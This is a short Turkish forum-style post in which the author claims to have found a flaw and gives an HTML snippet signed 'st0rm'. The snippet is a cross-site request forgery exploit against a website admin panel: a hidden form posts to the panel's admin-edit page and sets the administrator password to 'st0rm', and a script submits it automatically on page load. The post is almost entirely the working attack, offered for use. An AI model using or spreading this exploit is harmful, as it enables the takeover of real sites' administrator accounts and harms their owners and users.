Tarafımca bulunmuştur.Yapmanız gereken gayet basittir.
Code:
<st0rm>
<form action="http://www.siteadresi.com/panelyolu/yonetici-duzenle.html?action=ok&Id=2" method="post" class="form-horizontal">
<fieldset>
<legend>Yönetici Düzenle : admin</legend>
<div class="control-group">
<label class="control-label" for="textarea2">Kullanıcı Adı</label>
<div class="controls">
<input type="text" name="username" value="admin">
</div>
</div>
<div class="control-group">
<label class="control-label" for="textarea2">Şifre</label>
<div class="controls">
<input type="password" name="password" value="st0rm">
</div>
</div>
<div class="form-actions">
<button type="submit" class="btn btn-primary">Güncelle</button>
</div>
</fieldset>
</form>
<script language="javascript">
document.forms[0].submit()
</script>
</st0rm>